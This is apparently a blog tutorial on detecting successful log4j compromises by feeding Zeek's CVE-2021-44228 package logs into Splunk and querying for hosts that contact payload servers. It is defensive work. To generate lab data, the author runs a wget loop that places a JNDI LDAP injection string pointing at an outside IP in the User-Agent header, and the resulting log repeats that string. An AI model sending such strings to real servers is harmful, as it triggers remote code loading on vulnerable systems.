Detecting successful log4j compromises with Zeek and Splunk
By using the log4j Zeek package CVE-2021-44228 and sending the logs off to Splunk, security analysts can detect successful log4j compromises by alerting on hosts reaching out to log4j payload servers.
TL;DR
This Splunk one-liner will first query the zeek_log4j.log to determine the log4j payload IP address then take these results and query the zeek_conn.log to find any successful communication to the payload server(s):
index=zeek sourcetype=zeek_conn [search index=zeek sourcetype=zeek_log4j | dedup target_host | fields target_host | rename target_host as id.resp_h]
Example output (using a bogus log4j payload IP address):
Details
Note: Installing Splunk and Zeek are out of scope. There are lots of good tutorials on the web.
First download the Zeek log4j detection package:
git clone https://github.com/corelight/cve-2021-44228.git
Example output:
jemurray@zeek:~$ git clone https://github.com/corelight/cve-2021-44228.git
Cloning into 'cve-2021-44228'...
remote: Enumerating objects: 259, done.
remote: Counting objects: 100% (45/45), done.
remote: Compressing objects: 100% (31/31), done.
remote: Total 259 (delta 19), reused 23 (delta 14), pack-reused 214
Receiving objects: 100% (259/259), 68.60 KiB | 4.90 MiB/s, done.
Resolving deltas: 100% (114/114), done.
Install the Zeek package:
sudo zkg install cve-2021-44228
Example output:
jemurray@zeek:~$ sudo zkg install cve-2021-44228
The following packages will be INSTALLED:
/home/jemurray/cve-2021-44228 (develop)
Proceed? [Y/n] y
Installing "/home/jemurray/cve-2021-44228"
Installed "/home/jemurray/cve-2021-44228" (develop)
Loaded "/home/jemurray/cve-2021-44228"
Deploy the changes:
sudo zeekctl deploy
Example output:
jemurray@zeek:/usr/local/zeek/logs/current$ sudo zeekctl deploy
[sudo] password for jemurray:
checking configurations ...
installing ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/site ...
removing old policies in /usr/local/zeek/spool/installed-scripts-do-not-touch/auto ...
creating policy directories ...
installing site policies ...
generating standalone-layout.zeek ...
generating local-networks.zeek ...
generating zeekctl-config.zeek ...
generating zeekctl-config.sh ...
stopping ...
stopping zeek ...
starting ...
starting zeek ...
Validate Zeek is running:
sudo /usr/local/zeek/bin/zeekctl status
Example output:
jemurray@zeek:~$ sudo /usr/local/zeek/bin/zeekctl status
Name Type Host Status Pid Started
zeek standalone localhost running 36810 22 Dec 18:47:04
Validate the package is loaded:
cat /usr/local/zeek/logs/current/loaded_scripts.log | grep -i cve
Example output:
jemurray@zeek:/usr/local/zeek/logs/current$ cat loaded_scripts.log | grep -i cve
{"name":" /usr/local/zeek/spool/installed-scripts-do-not-touch/site/packages/cve-2021-44228/__load__.zeek"}
{"name":" /usr/local/zeek/spool/installed-scripts-do-not-touch/site/packages/cve-2021-44228/CVE_2021_44228.zeek"}
{"name":" /usr/local/zeek/spool/installed-scripts-do-not-touch/site/packages/cve-2021-44228/CVE_2021_44228_java_GET.zeek"}
Generate bogus log4j payloads (using a host also reaching out to the payload IP address):
while [ 1 ]; do echo "running..."; wget -4 --user-agent='${jndi:ldap://104.131.191.87:1389/jasonmurraytest}' http://shell.jasonmurray.org/ -o /dev/null; sleep 1; done
Check the log4j.log to validate proper logging:
jemurray@zeek:/usr/local/zeek/logs/current$ cat log4j.log
{"ts":1640221805.21603,"uid":"CkoJU1Cmo48NACFDg","http_uri":"http://jasonmurray.org/","uri":"104.131.191.87:1389/jasonmurraytest","stem":"104.131.191.87:1389","target_host":"104.131.191.87","target_port":"1389","method":"GET","is_orig":true,"name":"USER-AGENT","value":"${jndi:ldap://104.131.191.87:1389/jasonmurraytest}","matched_name":false,"matched_value":true}
Setup the Splunk UniversalForwarder to send log4j.logs to Splunk by adding the following lines to the /opt/splunkforwarder/etc/system/local/inputs.conf file:
[monitor:///usr/local/zeek/logs/current/log4j.log]
_TCP_ROUTING = *
index = zeek
sourcetype = zeek_log4j
Restart the UniversalForwarder:
sudo /opt/splunkforwarder/bin/splunk restart
Example output:
jemurray@zeek:/opt/splunkforwarder/etc/system/local$ sudo /opt/splunkforwarder/bin/splunk restart
Stopping splunkd...
Shutting down. Please wait, as this may take a few minutes.
Stopping splunk helpers...
Done.
....
All preliminary checks passed.
Starting splunk server daemon (splunkd)...
Done
To generate testing data in this lab environment. I am running the wget command on a host performing the commands necessary to compromise the target and communicate with a host where the malicious payload is hosted.
The following query will first subsearch the zeek_log4j.log to find all the unique instances of log4j payload hosts. Again, these are the hosts a compromised device will contact to download the malicious payload. Once the target hosts are identified, another query is made to the zeek_conn.log to find any instances where local devices reached out the payload host.
index=zeek sourcetype=zeek_conn [search index=zeek sourcetype=zeek_log4j | dedup target_host | fields target_host | rename target_host as id.resp_h]
Any results to this query indicate a device on the local network is reaching out to a server hosting malicious log4j payloads:
Next Steps
This is a quick and dirty demonstration of Zeek and Splunk’s ability to reliably find exploited hosts reaching out to servers hosting malicious log4j payloads. There are a number of way to improve detection.
- Include additional log sources, such a web servers, load balancers, etc. The log4j detection within Zeek, does not capture SSL encrypted connections.
- Tighten the Splunk zeek_conn.log query to only include connection flags of successful connections.
- Convert hostnames in the log4j payloads to IP addresses.
- Support IPv6.
- Add this query to the Splunk automated alerts.
Log4j is a serious flaw. It is better to get automated detection setup now and refine it later. A few false positives are better then not detecting anything at all.